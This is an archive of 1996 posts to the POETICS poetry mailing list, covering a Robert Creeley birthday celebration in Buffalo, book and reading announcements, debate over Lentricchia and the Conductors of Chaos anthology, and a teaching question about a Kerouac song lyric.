Dominic Riley. I have a letter in the current San Francisco Weekly. And I've attached a summary of a recent CNN spot on the subject.

James Brook

- - - - - -

CNN Abstract of SFPL Piece as posted on WWW (Web has pics)

Title: San Francisco library accused of pitching thousands of books Date of Post: October 13, 1996 Web posted at: 8:15 a.m. Broadcast: Story aired October 12, 1996 at 2:20 p.m.(PST) (Also on FOX TV) WEB address: <HTTP://[redacted]/US/9610/13/library.book.toss/index.html>

San Francisco Library Accused of Pitching Thousands of Books

SAN FRANCISCO (CNN) -- A group of book lovers in San Francisco is fuming over the opening of a new library, claiming that thousands of books were dumped to accommodate the spanking clean building. "I think the library, in essence, has become a showcase for high technology at great expense to book collections and print collections," historian Walter Biller said.

Biller has a computer list which he claims identifies thousands of books, many irreplaceable, that were discarded when the San Francisco Public Library moved into its new location, heralded as the coming of a new age for libraries. "I believe 19,000 of them were last copies," he said.

A recent New Yorker article called it "The Great Book Purge" and said more than 100,000 books were hauled to the dump. Librarian Marcia Schneider admits an error occurred "for a brief period of time," and library officials say they don't know for sure how many books were tossed out, but estimate it to be around 20,000. But Schneider points out that some 430,000 new books were added to the library's collection when it moved.

"It has 9.1 miles of more shelf space than the old library. It has proportionately more shelf space than the old library," Schneider said, adding that it's a debate about the future of libraries.

"In many ways, it's a debate about technology versus the old-fashioned version of the library." Critics say computers belong in the library but so do the print treasures of the past. "Where are the books?" Biller asks. "There are atriums. There are spaces in the floor that go up five stories and there is nowhere for books?"

Correspondent Rusty Dornin contributed to this report.

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259. George Bowering
Re: Creeley at 70 in Buffalo - Part II
Sun 13 Oct 1996

> *Loss, thanks for section 2.*

Interesting Baraka notes. I have been lucky enough to hear him in each decade in different places, and I appreciate what you say about amazing power he knows to speak. I remember once in the late, I think 80s, he is at the Sunsplash in Victoria, and there are a bunch of youngsters (this is outdoors of course) who have come to hear Taj Mahal, but then this other Black man, a little guy in glasses, makes his first noise in the mike, and those youngsters, been sprawled about, they SIT UP fast, and lissen!

But also remember in the Olson days, Amiri saying he was never going back to Buffalo, and I imagine he uttered a number of nevers in his day.

Thanks again for the desc.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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260. Dan Raphael Dlugonski
Molecular Jam
Sun 13 Oct 1996

Am real happy to announce the publication of my new book, Molecular Jam, from Jazz Police Books ([redacted].) the book is available from SPD, Permeable Press & Chris Drumm Books. on the back cover, Ivan Arguelles says "Like the best of his contemporaries, Jake Berry or Will Alexander, Raphael takes his language into the swiftly developing chasms of new sci-tech terminology, while still maintaining his balance of humor. Clearly, in reading his text, we are part the end of the 20th century" I'll be reading from the book 11/13 at Powells Books on SE Hawthorne here in Portland OR.

>There are 13 messages totalling 447 lines in this issue.
>
>Topics of the day:
>

> 1. POETICS Digest - 9 Oct 1996 to 10 Oct 1996
> 2. Visible Language: New Media Poetry
> 3. Minnesota
> 4. Creeley at 70 in Buffalo
> 5. How To Not Read (2)
> 6. POETICS Digest - 10 Oct 1996 to 11 Oct 1996
> 7. Ron Johnson
> 8. Jay and Kay deFeo (2)
> 9. Ronald Johnson
> 10. Ear Inn Update (2)
>
>----------
>
>Date: Sat, 12 Oct 1996 19:40:58 +1300
>From: DS <[redacted]>
>Subject: Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
>
>and may i say i enjoyed Omeros which i read start to finish
>
>At 08:33 AM 10/11/96 -0600, you wrote:
>>>Date: Thu, 10 Oct 1996 11:13:08 -0400
>>>From: Wendy Battin <[redacted]>
>>>Subject: Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996
>>>
>>>On Thu, 10 Oct 1996, Douglas Barbour wrote:
>>>> Irish woman in the group, who is not an "English" type, bu which he meant
>>>> she did not study literature, was trying to explain to him the various
>>>> 'codes' operative whenever a catholic & protestant met, finally threw up
>>>> her hands & said, "I cant explain, but listen," picked a copy of heaney's
>>>> poems out of her backpack, & read him a poem in which heaney explored
>>>
>>>Doug,
>>>Do you happen to know which poem? (Sure there are many, but am
>>>curious to know which she chose.)
>>>
>>>Wendy
>>>
>>>----------
>>>Wendy Battin [redacted]
>>>(home) http://camel.conncoll.edu/ccother/wjbat/

>>>(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html
>>>----------
>>
>>Sorry, I dont, but I will ask my friend if he recalls the title of the poem
>>& get back to you. He was telling me this partly because he knew I wasnt a
>>big fan of Heaney's. As a theoretical type, deeply into post-colonial work,
>>he considers another Nobel winner the 'best' (? wrong work: he means, I
>>think, most interesting in terms of what he does) poet in english today:
>>Derek Walcott. I had read only a few Walcott poems & not thought much one
>>way or another, but a reading of the _Collected Poems_ did lead me to
>>somewhat reise my opinion. There is much there, albeit within a tradition I
>>am not all that interested in, that is fascinating. Sorry for getting off
>>topic from your request. I will ask.
>>
>>All the best
>>
>>Doug
>>
>>Douglas Barbour
>>Department of English
>>University of Alberta
>>Edmonton Alberta T6G 2E5
>>[redacted] FAX: [redacted]
>>H: [redacted]
>>
>>'The universe opens. I close.
>>And open, just to surprise you.'
>>   - Phyllis Webb
>>
>>
>
>----------
>
>Date: Sat, 12 Oct 1996 10:49:12 +0100
>From: John Cayley <[redacted]>
>Subject: Visible Language: New Media Poetry
>
> *** Apologies for cross-postings ***
>
>Just published and well worth checking out:
>
>A special issue of the journal: VISIBLE LANGUAGE

> Volume 30, no. 2
>
>NEW MEDIA POETRY
>Poetic Innovation and New Technologies
>Guest edited by: Eduardo Kac
>
>Contents:
>--------
>Introduction / Eduardo Kac
>
>The Interactive Diagram Sentence:
>Hypertext as a Medium of Thought / Jim Rosenberg
>
>Poetic Machinations / Phillipe Bootz
>
>Videopoetry / E. M. de Melo e Castro
>
>We Have Not Understood Descartes / Andre Vallias
>
>Virtual Poetry / Ladislao Pablo Gyori
>
>Beyond Codexspace:
>Potentialities of Literary Cybertext / John Cayley
>
>Holopoetry / Eduardo Kac
>
>New Media Poetry:
>Theories and Strategies / Eric Vos
>
>Selected Webliography / Eduardo Kac
>
>--------
>
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>--------
>
>Web references:
>Eduardo Kac:- http://www.uky.edu/FineArt/kac/kachome.html
>Jim Rosenberg:- http://www.well.com/user/jer/
>John Cayley:- http://www.demon.co.uk/eastfield/in/
>
>----------
>
>Date: Sat, 12 Oct 1996 08:20:36 -0500
>From: maria damon <[redacted]>
>Subject: Re: Minnesota
>
>In message <[redacted]> UB Poetics discussion group
>writes:
>> Dear List:
>>
>> I will be in Minneapolis for a conference on October 18 and 19 -- I've
>> never been to the city before and would love any information about
>> readings, events, etc...
>> thanks --
>>
>> rob zamsky
>
>what's the conference? there're a coupla weekly papers, the Twin Cities
Reader
>and the City Pages, that have extensive listings of events, etc. they're free
>at most coffee shops, etc. also, call the Loft (the largest writing
institution
>in the cities) for their events. the loft is pretty conservative in its scope
>tho. also call bryant-lake bowl (a groovy bowling alley, cafe, and
>"alternative" performance space), and the walker art center, which sometimes
>hosts fun stuff. some listers past and present from the tcs are: me, mark
>nowak, jeff hansen, gary sullivan, marta deike, kurt anderson, jonathan bran-
nen
>(actually i morris mn), bob gale (another person to call about events, as he
>edits SHOUT!, a free monthly for spoken word arts), some lurkers i do and
don't
>know about. that's about it for first thing in the morning; i'll give it a bit
>more concerted thot in the next week or so. maybe we cd have a coffee hr
>somewhre and meet u.
>maria d

>
>----------
>
>Date: Sat, 12 Oct 1996 11:12:27 -0400
>From: Loss Glazier <[redacted]>
>Subject: Creeley at 70 in Buffalo
>
> CREELEY AT 70 IN BUFFALO
>
> DATELINE BUFFALO. The 70th birthday celebration in honor of Robert
>Creeley moves along with extraordinary momentum. First night: Eileen Myles,
>introduced by Creeley, read to a packed crowd in the large Halwall's
>performance space, with its stage bordered on three sides by the audience.
>Her figure animated against the somewhat large stage, reading and letting
>each page of text drift to the floor after reading it. Voice, presence,
>narrative rang solidly to a thoroughly enthusiastic crowd. Second day: the
>formal opening of activities by William Greiner, UB president and Creeley
>colleague who first met Creeley long-distance while Creeley was in Finland.
>Then, Gil Sorrentino, fondly introduced by Joseph Conte, reading in the
>Katherine Cornell Theatre, a good-sized semi-formal spaceship architecture
>palace space on the edge of Buffalo's tundra-tinged north campus. Sorrentino
>read prose from a new piece (I think forthcoming in _Conjunctions_). A
>richly written piece, supercharged with irony, purposely laden with the
>banalities of the wife-swapping personalities it characterized and the
>revolting misogyny and sexual beasty balls of its less-than-likable
>narrator. Above this content, the precision of Sorrentino's prose glimmered
>like a city skyline. Amiri Baraka, originally scheduled to read with
>Sorrentino, was unable to appear. Creeley therefore gave a preview
>mini-reading, talking briefly and reading the full text of his _Dogs of
>Auckland_ (approximate title) chapbook forthcoming from Meow Press. A
>gorgeous piece of work. This reading was followed by a reception in the
>poetry collection and its great assembly of rare, beautiful, and ephemeral
>Creeley materials and also a retrospective (mostly small press) of poetry
>chez Buffalo for the past 50 years. A delirious spread of rare and
>richly-diverse print artifacts that gave a varied sense of the "scene" as
>passing in and out and back into the "city of no illusions". Back at
>Katherine Cornell, next up was the Creeley-Dine event, the room full to the
>rafters. (So packed the fire marshall was threatening to turn back
>poetry-goers if they could not prove they had a seat.) Creeley introduced at
>length and eloquently by Susan Howe. Then an extraordinary reading by
>Creeley. First an explanation of the 1-2-3 method then a 1-2-3 section from
>_Mabel: A Story_ a prose work dating an early Creeley-Dine collaboration.

>This was a long piece, at times dropping into choppy Burroughsesque rhythms,
>other times richly wry and funny, and other times simply sailing along
>tellingly. A rare treat to witness the performance of this important earlier
>prose piece. This reading was followed by "Histoire de Florida" a later,
>powerful, long, languid, pulling out like the tide and the backdrop of
>all-that-has-happened, rhythmic, emotional, and meditative masterwork. Then
>Dine was introduced excellently by Charles Bernstein followed by the
>Creeley-Dine conversation. Truly extraordinary, to hear these two men talk
>about a range of subjects near and dear to both art and writing, "tools" of
>any trade, age and its perspectives, perseverance and its perspectives, the
>necessities of incessant travel and, well, all in all, what it means to hang
>in there. This was a primo opportunity to hear both the writer and the
>artist talk. Creeley and Dine were terrific. It was a particularly wonderful
>opportunity to hear from Dine, an artist who gets to Buffalo all too rarely,
>and to hear him speak so openly, honestly, his talk as rich as writing
>itself, there in the open space where things are stilled for some hours we
>can all hold for the true celebration of artistic life they are. Hey, this
>*is* what it means to hang in there.
> STILL TO COME: Ashbery reading this afternoon then tonight Hallwalls Jazz
>concert with Steve Kuhn and Carol Fredette.
> ONLINE: check out http://writing.upenn.edu/epc/authors/creeley/70th where
>you can also see the Dine painting for this event and other stuff.
>---
>Loss Glazier <[redacted]>
>http://writing.upenn.edu/epc
>
>----------
>
>Date: Sat, 12 Oct 1996 10:16:36 -0500
>From: Joe Amato <[redacted]>
>Subject: Re: How To Not Read
>
>bravo, steve!... i'm gonna be using that piece of yrs sometime, if you
>don't mind, in one or the other of my classes...
>
>best,
>
>joe
>

>----------
>
>Date: Sat, 12 Oct 1996 10:03:36 -0600
>From: Douglas Barbour <[redacted]>
>Subject: Re: POETICS Digest - 10 Oct 1996 to 11 Oct 1996
>
>Re Steve Evans's review of the review: I just want to say Thank you. That
>was illuminating & great fun to boot. I really must go out & find that
>thing, or maybe not...
>
>All the best
>
>Doug
>
>Douglas Barbour
>Department of English
>University of Alberta
>Edmonton Alberta T6G 2E5
>[redacted] FAX: [redacted]
>H: [redacted]
>
>'The universe opens. I close.
>And open, just to surprise you.'
>   - Phyllis Webb
>
>----------
>
>Date: Sat, 12 Oct 1996 13:18:00 -0500
>From: "Pritchett,Pat @Silverplume" <[redacted]>
>Subject: Re: Ron Johnson
>
>Brian and anyone else:
>
>The info on Living Batch is:
>
>Living Batch Bookstore
>106 Cornell Dr SE
>Albuquerque, NM 87106
>505- [redacted]
>(don't know about e-mail)
>
>Price of the ticket: $25.00

>Bon voyage!
>
>Patrick Pritchett
> ----------
>From: Brian McHale
>To: Multiple recipients of list POETICS
>Subject: Re: Ron Johnson
>Date: Thursday, October 10, 1996 4:58PM
>
>
>Wait, wait. Now that we know Johnson is still with us, could someone
>please
>supply fuller data on publication of the Complete Ark. Address for Living
>Batch Press, please? E-mail, even?
> Brian
>
>-----------------------------
>
>Date: Sat, 12 Oct 1996 11:46:32 +0100
>From: Kevin Killian <[redacted]>
>Subject: Re: Jay and Kay deFeo
>
>>Hey there, dbkk, are we going to get a report on Kevin's play?
>>breathless,
>>maria d
>
>Maria, thanks for asking about my play, "Wet Paint," which indeed did get
>finished, still wet, and presented on Wednesday. All the actors‹a motley
>crew of the Bay Area's best painters, filmmakers, poets, videographers,
>drag performers, art writers, and novelists‹showed up, which was such a
>help, and so difficult corralling 19 divas all in one room at one time.
>And some of them are the kind who, presented with a script, will whip out
>rulers to determine how many inches they have (of dialogue, of course).
>But they were all there and all fantastic.
>
>I could try to reconstruct the audience a la Jordan Davis, but I was too
>nervous really to note more than a few of the hundreds of people who were
>there. I remember however Fanny Howe coming up to me after the show was
>over and saying that it reminded her of growing up in Cambridge when her
>mother, Mary Manning Howe, was in charge of the Poets Theater there
>(mid-fifties?), and nothing could have pleased me more.
>

>Also spotted: the writers Rebecca Solnit, Tina Rotenberg, Jocelyn
>Saidenberg, Matthew Stadler, Renee Gladman, Michael Price, Avery Burns,
>Leslie Davis, Pamela Lu, Barbara Guest, Susan Gevirtz, Laura Moriarty,
>Brian Strang, Aaron Shurin, Charlie Smith, Rena Rosenwasser, Duncan
>McNaughton, Bill Berkson, Larry Kearney, Jay Schwartz, Lauren Gudath,
>George Albon (replete with new, utterly delicious new boyfriend), and the
>artists Brett Reichman, Fran Herndon, Chris Komater, Peter Mitchell-Dayton,
>Vincent Fecteau, Jennifer Locke, Nao Bustamente....
>
>And many more both on this list and not. Tosh Berman, you will be glad I
>know to hear that each of *your* appearances was greated with a tremendous
>round of applause. You were played by a Cabbage Patch doll that Dodie
>bought at our local Thrift Town--actually, a Cabbage Patch knockoff, and
>carted around in a simply, 1959 style brown paper bag. At one point in the
>action of the play, you wander away and get sucked into the vast 2000 pound
>"Rose" painting of Jay DeFeo, but happily rescued by your good father.
>More later. Thanks‹Kevin K.
>
>----------
>
>Date: Sat, 12 Oct 1996 11:33:46 -0700
>From: Jeremy F Green <[redacted]>
>Subject: Re: How To Not Read
>
>My thanks too to Steve Evans.
>
>Along with the practice of "summing up" complicated bodies of work with a
>sentence or 4-line quotation, the TLS reviewer (who is Robert Potts?)
>manages also to bracket the construction of tradition in the Sinclair
>anthology. A few of the demonized poets showcase their forebears: David
>Jones, J.F.Hendry, W.S.Graham, Nicholas Moore...So I guess what is being
>bracketted here is British modernism. As ever, "traditionalists" like the
>TLS reviewer prove to have the most advanced amnesia.
>
>----------
>
>Date: Sat, 12 Oct 1996 15:42:56 +0100
>From: Kevin Killian <[redacted]>
>Subject: Ronald Johnson
>
>It's Kevin Killian--again. As far as Ronald Johnson goes, Dodie tells me
>that he's reading at New College in November (if she remembers correctly)

>so bring your copies of ARK for him to sign. Has anybody seen the new
>"Ronald Johnson" by Dirk Stratton--it's one of those little books from
>Boise State University (Western Writers Series #122). The drawing of RJ on
>the cover makes him look just like poetics list member Ed Foster; however
>there's no picture of author "Dirk Stratton." Does anyone know him, or do
>I just remember that name from "Bonanza"? (Or, possibly, some old Fred
>Halsted film from the seventies?)
>
>Stratton says (page 52), "Maybe Johnson is a writer of the American West,
>but we are simply unable to recognize exactly why." So it's interesting.
>E-mail for Western Writers Series is at [redacted].
>
>Thanks everybody.
>
>----------
>
>Date: Sat, 12 Oct 1996 18:06:22 -0500
>From: maria damon <[redacted]>
>Subject: Re: Jay and Kay deFeo
>
>thanks kevin, i'm glad i asked; sounds delicious.--md
>
>----------
>
>Date: Sat, 12 Oct 1996 23:47:36 GMT
>From: Lisa Jarnot <[redacted]>
>Subject: Ear Inn Update
>
>EAR INN UPDATE:
>
>On Saturday October 12th Cliff Fyman and Lee Ann Brown read at the Ear
Inn.
> Cliff Fyman-- resident of the lower east side, secret poetical genius, and
>waiter at Sardi's Restaurant-- read from a spectacular mix of prose and
>poetry, including his crowd pleasing oulipo poem "mouse". Lee Ann Brown--
>recent returnee to New York City-- read from her new project Cento, mixing
>it up with some greatest hits (such as "Crush") and newest new short poems
>inspired by some of the filmmakers represented at this year's International
>Film Festival at Lincoln Center.
>
>For the second week in a row the Ear Inn was filled to capacity. Attendees
>included Bernadette Mayer, Philip Good, Lewis Warsh, Barbara Henning,

Gavin
>Smith, Melanie Neilson, Robert Fitterman, Jeff Hull, Douglas Rothschild,
>William Luoma, Drew Gardner, Boston poet Sianne Ngai, new New Yorker
Daniel
>Farrell, Albany poet Chris Funkhouser, Boston poet Daniel Bouchard, Anselm
>Berrigan, a busload of poets from Staten Island, and some other people
>eating lunch.
>
>Don't miss out on the fun. Come early stay late drink beer. The Ear Inn
>is at 326 Spring Street in lower Manhattan. Next week's readers are
ANSELM
>BERRIGAN and KIM LYONS. Anselm is a Yale Younger Poet. John Ashbery
says
>"He rocks." Brooklyn poet Kim Lyons recently had some great work in THE
>WORLD. Allen Ginsberg recently said "She totally rocks." Check out the
>Ear. Lou Reed says "It rocks big time."
>
>-----
>
>Date: Sat, 12 Oct 1996 22:59:54 -0500
>From: Eryque Gleason <[redacted]>
>Subject: Re: Ear Inn Update
>
>dear lisa (or anybody else), could you post the whole schedule for the ear?
>thankee! eryque
>
>>EAR INN UPDATE:
>>
>>On Saturday October 12th Cliff Fyman and Lee Ann Brown read at the Ear
Inn.
>> Cliff Fyman-- resident of the lower east side, secret poetical genius, and
>>waiter at Sardi's Restaurant-- read from a spectacular mix of prose and
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>>included Bernadette Mayer, Philip Good, Lewis Warsh, Barbara Henning,
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>>William Luoma, Drew Gardner, Boston poet Sianne Ngai, new New Yorker Daniel
>>Farrell, Albany poet Chris Funkhouser, Boston poet Daniel Bouchard, Anselm
>>Berrigan, a busload of poets from Staten Island, and some other people
>>eating lunch.
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>>is at 326 Spring Street in lower Manhattan. Next week's readers are ANSELM
>>BERRIGAN and KIM LYONS. Anselm is a Yale Younger Poet. John Ashbery says
>>"He rocks." Brooklyn poet Kim Lyons recently had some great work in THE
>>WORLD. Allen Ginsberg recently said "She totally rocks." Check out the
>>Ear. Lou Reed says "It rocks big time."
>
>----------
>
>End of POETICS Digest - 11 Oct 1996 to 12 Oct 1996
>**********
>

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261. Beth Simon
*_Out Of Nowhere, The Body's Shape_*
Sun 13 Oct 1996

My first collection of poetry, _Out Of Nowhere, The Body's Shape_ (Pecan Grove Press), published April, 1996, is about to go into a second printing. It is available from Pecan Grove Press, 1 Camino Santa Maria, San Antonio, Texas 78228-8608.

Beth Simon
Assistant Professor, Linguistics and English
(yes, one can pay the rent by means of language and poetry)
Indiana University - Purdue University
Fort Wayne, Indiana 46805
[redacted]

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262. Joe Amato
lentricchia...
Sun 13 Oct 1996

anybody catch frank lentricchia's remarkable renunciation of lit. theory & criticism ("last will & testament of an ex-literary critic") in the september/october _lingua franca_?... in his about-face, lentricchia pretty much pooh-poohs any writing or insights or theories 'about' literature, having presumably (if this isn't simply a sokal-style prank, i mean, and i don't think it is) found the pleasure of the text per se in reading books aloud (as a platonic 'rhapsode,' no shit) in his undergrad. (as opposed to his grad.) classrooms... evidently, he's now taken to writing fiction himself...

of course this'll likely be served up by conservatives as a primo example of an ideologically-based critic who now confesses to having been led astray...

really love to hear what anybody & everybody else thinks...

best,

joe

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263. Charles Bernstein
Conductors of Chaos
Sun 13 Oct 1996

Steve Evans' superb critique might prompt some of us to follow up on Ken Edwards's suggestion to get Conductors of Chaos: A Poetry Anthology, ed. Ian Sinclair.

Included: Bergvall, Catling, cheek, Corcoran, Crozier, Duncan, Fisher, Gascoyne, Graham, Griffiths, Halsey, Harwood, Haslam, Hendry, Home, James, Jones, Lake, Lopez, MacSweeney, Mengham, Milne, Monk, Moore, Oliver, O'Sullivan, Out to Lunch, Pattereson, Prynne, Reed, Riley, Riley, Rodefer, Torance, Wilkinson, Williamson.

I don't have this book yet, so I will reserve some of the comments I am tempted to make just based on that list ...

but I do have the order form for it and I am going to use it.

_____

Plesase send me ___ copies of The Conductors of Chaos 0 330 33`35 3 @ 9.99 pounds

Payment method: check to Macmillan Distribution (but I assume UK currency only) OR

AmEx, Visa, Mastercard
Card #
expiration date:
signature:

from

Picador 25 Eccleston Place London SW1w 9NF
fax:0[redacted]

I am unaware of any US distribution --

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264. Rick Bursky
Thirty pound sacks: poem
Sun 13 Oct 1996

The Thirty Pound Sacks

After a heavy rain the river crested. Parcels of low-lying fields slipped along the banks, opening the earth to free shallow-graved corpses and send them into the brown water with enough dead breath to find buoyancy inches beneath the surface. We saw the dark masses passing as if evicted from heaven and attempted to spill their hopelessness into the ocean. Children pitched stones and shouted the name of an unpopular child's grandmother. Later fisherman dragged grappling hooks across the bottom, retrieved corpses and limbs, wrapped them in thirty pound sacks and sold them to men sent by their wives to wait on the docks. Other men brought home sacks of sticks and fish heads soaked in salt water.

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265. Tony Green
Re: Creeley at 70 in Buffalo - Part II
Sun 13 Oct 1996

Thanks for Parts I & II, Loss Glazier. best

Tony Green,
e-mail: [redacted]

↑ Index

266. **Kali Tal**
Re: lentricchia...
Sun 13 Oct 1996

> *anybody catch frank lentricchia's remarkable renunciation of lit. theory & criticism ("last will & testament of an ex-literary critic") in the september/october _lingua franca_?...*

yup, i sure did. read it and was nauseated by it. reminded me of certain folks i know who went through mid-life religious conversions. i, too, thought at first that i might be reading farce, but no such luck. what's weird about lentricchia's stance, however, is that i don't know a single literary critic who *doesn't* read for the sheer pleasure of it. we might all talk theory, but most of us got into theory because we love the Word, and we'd surely like our students to share that love. (that's why we assign them books we liked ourselves, isn't it?) so his argument is basically, well... straw. i mean, who's his opposition? lit critters who don't like literature? find me one.

> *of course this'll likely be served up by conservatives as a primo example of an ideologically-based critic who now confesses to having been led astray...*

it seemed clear enough to me that the article was *written* for this purpose. (rather than because lentricchia suddenly felt compelled to confess his change of heart.) has he joined the national association of scholars? does he want to Take Back the MLA from the hordes of queer-commie-theorists? what's *he* got to be bitter about? interesting that it was in the same issue as a pretty favorable article on far-right colleges. what might be _lingua franca's_ agenda? (un unreliable rag, at best.)

middle-aged tenured white men turning to the Right and embracing all that is Good and Traditional don't surprise me at all. for them, it's a comfortable place to sit; maybe more comfortable than hanging out with the queer-commie-theorists who are bound to ask embarrassing questions and make unflattering comparisons. me, i'm impressed with the middle-aged tenured white guys (and i know quite a few) who *refuse* to mainstream even though they'd personally benefit by it.

peace,
kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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267. **Maria Damon (Maria Damon)**
Re: student sincerity
Sun 13 Oct 1996

---

actually dodie there're many ways to approach this. as one who teaches how tto read more than how to write my remarks may be off the mark for your purposes, but here goes. the obvious one is to play the song to them and ask how the effect is similar or different when the experience is not one of reading but an aural one. it is as fatuous a song as it is a text? then, the issue of fatuousness itself. one of the charms of the song, it seems, is that it to some extent engages kerouac's charms and embarrassments --his fatuousness, in fact. one could juxtapose a passage of kerouac with this song lyric and compare/contrast. the song's clumsinesses can be looked at not as errors but as part of the genre in which the lyricist is working. K's work is both oddly compelling but also mortifyingly self-indulgent, sweet but often misguided and evocative of what mary pratt calls "strategies of innocence" (cf. "little boy lost etc")as the subject-in-power naturalizes his descriptions of his chosen exotic locale through seeming objectivity that is, nonetheless, nuanced with affirmations (the naturalist, for example, describes the flora and fauna of the "unspoiled" i.e. not-yet-Europeanized territory in ways that obviously value its unspoiledness, disavowing his/her complicity with more openly predatory invaders). so, jack both celebrates primitivism and aspires to transcend it; his sympathetic renderings nonetheless place him in a clearly superior position to those he describes. (you speak with the voice of the little people, o saint jack, so you Represent and subsume them). you can use the song to analyze the kerouac cult, to discuss women's interesting investment in kerouac. this song and songwriter are no favorites of mine, but if a student brought it in to class with an obviously worshipful intent, these are some of the tactics i might use. let me know what happens. xo, md

> *This is Dodie--*
>
> *Still teaching--or as Lacan put it, playing "subject supposed to know." (Forgive me if I've screwed up the reference.) Anyway, I'm still stumped when somebody brings in something that is totally wrong-headed, how to steer them gently into a more useful direction. The following poem was posted to the beat generation listserv, and it seemed to me to be a perfect example of bad student poetry. When I look at it my mind goes blank--as far as anything useful to say. One simply couldn't grunt out, "Don't do this anymore." If this were handed in to any of you--what would you say about it--as a way to begin a dialogue?*
>
> *Thanks.*

> *Dodie*
>
> *HEY JACK KEROUAC*
> *(Robert Buck/Natalie Merchant)*
>
> *Hey Jack Kerouac, I think of your mother*
> *and the tears she cried, she cried for none other*
> *than her little boy lost in our little world that hated*
> *and that dared to drag him down.*
> *Her little boy courageous who chose his words*
> *from mouths of babes got lost in the wood.*
> *Hip flask slinging madmen, steaming cafe flirts,*
> *they all spoke through you.*
>
> *Hey Jack, now for the tricky part,*
> *when you were the brightest star*
> *who were the shadows?*
> *Of the San Francisco beat boys you were the favorite.*
> *Now they sit and rattle their bones and think of their blood stoned days.*
> *You chose your words from from mouths*
> *babes got lost in the wood.*
> *The hip flask slinging madmen,*
> *steaming cafe flirts, nights in Chinatown, howling at night.*
>
> *Allen baby, why so jaded?*
> *Have the boys all grown up and their beauty faded?*
> *Billy, what a saint they've made you,*
> *just like Mary down in Mexico on All Soul's Day.*
>
> *You chose your words from mouths*
> *of babes got lost in the wood.*
> *Cool junk booting madmen, street minded girls in Harlem, howling at night.*
> *What a tear stained shock of the world,*
> *you've gone away without saying goodbye.*

↑ Index

268. Dan Raphael Dlugonski
post-electronic jam
Mon 14 Oct 1996

My apologies to the list for attaching a previous digest to my posting on mynew book. thanks for your patient wading.

dan

↑ Index

269. John Kinsella
Re: POETICS Digest - 12 Oct 1996 to 13 Oct 1996
Mon 14 Oct 1996

---

re The Conductors of Chaos Anthology: Salt 10 (May 1997 - Salt 9, November 1996 is due out shortly) will carry not only a comprehensive review of this book, but new poems from a number of the poets featured. Salt 9 includes an "oddity" that may be of appeal to those interested in the work of J.H. Prynne - a French translation of "Day Light Songs" ("Chansons à la Journee-Lumière") by the late Bernard Dubourg. Folio (Salt), the co-publishers of Salt, are publishing Prynne's "Collected Poems" in 1997. Salt 9 also includes three new Ashbery poems.

John Kinsella

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270. Kevin Killian
Robertson & Moure rock SPT
Mon 14 Oct 1996

Small Press Traffic presents

Erin Mouré
Lisa Robertson

Friday, October 18, 7:30 p.m.
at the New College Theater
777 Valencia Street, SF
$5

Erin Mouré is one of Canada¹s greatest poets. Her restless poetic presence on the Canadian scene has been praised, questioned, rewarded, scorned, embraced, doubted since the late 70s. Originally from Calgary , she now lives in Montreal and, having been recently "downsized", now works as a freelance editor and translator. In her writing, "the body, women's bodies in particular, and language intersect to dislocate expectation and reinvent the world." She has published seven books of poetry including _Furious_ (which won the Governor General's Award‹the Pulitzer Prize of Canada, except more so). Her poetry has been collected in _The Green Word: Selected Poems 1973-1992_ (Oxford University Press). Her most recent books are _Sheepish Beauty, Civilian Love_ (Vehicule, Montreal, 1992) and _Search Procedures_ (Anansi, Toronto, 1996).

Lisa Robertson is a member of the Kootenay School of Writing, a group of energetic young poets who collectively changed the face of Western Canadian writing beginning in the 1980s. She co-edits the poetry journal _Raddle Moon_ with Susan Clark in Vancouver. Her new manuscript, _Debbie: an epic_, on which she has been working for many years, promises to be a Molotov cocktail of

Edith Sitwell¹s _War Trilogy_ and Stanley Donen¹s _Funny Face_. ³Think pink!² In her spare time, she tells her American fans, Lisa visits scrap yards and trains large dogs. Her books and chapbooks include _The Apothecary_ and _XEclogue_ (Tsunami Editions), _Barscheit Horse_ (with Catriona Strang and Christine Stewart) (The Berkeley Horse), and the brand new _The Descent: a light comedy in three parts_ (Meow Press).

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271. Kevin Killian
student sincerity
Mon 14 Oct 1996

This is Dodie--

Still teaching--or as Lacan put it, playing "subject supposed to know." (Forgive me if I've screwed up the reference.) Anyway, I'm still stumped when somebody brings in something that is totally wrong-headed, how to steer them gently into a more useful direction. The following poem was posted to the beat generation listserv, and it seemed to me to be a perfect example of bad student poetry. When I look at it my mind goes blank--as far as anything useful to say. One simply couldn't grunt out, "Don't do this anymore." If this were handed in to any of you--what would you say about it--as a way to begin a dialogue?

Thanks.

Dodie

> *HEY JACK KEROUAC*
> *(Robert Buck/Natalie Merchant)*
>
> *Hey Jack Kerouac, I think of your mother*
> *and the tears she cried, she cried for none other*
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>
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> *you've gone away without saying goodbye.*

↑ Index

272. Kevin Killian
Re: student sincerity
Mon 14 Oct 1996

At 1:23 PM 10/14/96, Pritchett,Pat @Silverplume wrote:
>Bad student poetry it may be (personally I never liked this song), but she -
>Natalie Merchant - and they - 10,000 Maniacs - have made a fortune from it.

So you would say, "Keep doing this--if you don't win a Nobel Prize, it will make you rich some day?"

↑ Index

273. Kevin Killian
Re: student sincerity
Mon 14 Oct 1996

At 1:30 PM 10/14/96, Maria Damon (Maria Damon) wrote:
>actually dodie there're many ways to approach this.

Maria,

Thanks for the thoughtful comments. I'd make some back, except I'm feverish and can't stop sneezing. I think my body is in revolt and against the poetics list.

x,
Dodie

↑ Index

274. Mark Wallace
Steve Evans
Mon 14 Oct 1996

I think Steve Evans should be strongly encouraged to send his recent piece to the New York Times Literary Supplement. Whether they will publish it or not, I'd be interested in hearing how they respond. What do you think, Steve?

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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275. Keith Tuma
Re: Conductors of Chaos
Mon 14 Oct 1996

Curious that the _TLS_ even bothered to assign a review for _Conductors of Chaos_. Messerli, Hoover, Weinberger, etc.--were they reviewed in the _NY Times Book Review_ or _The New York Review of Books_?

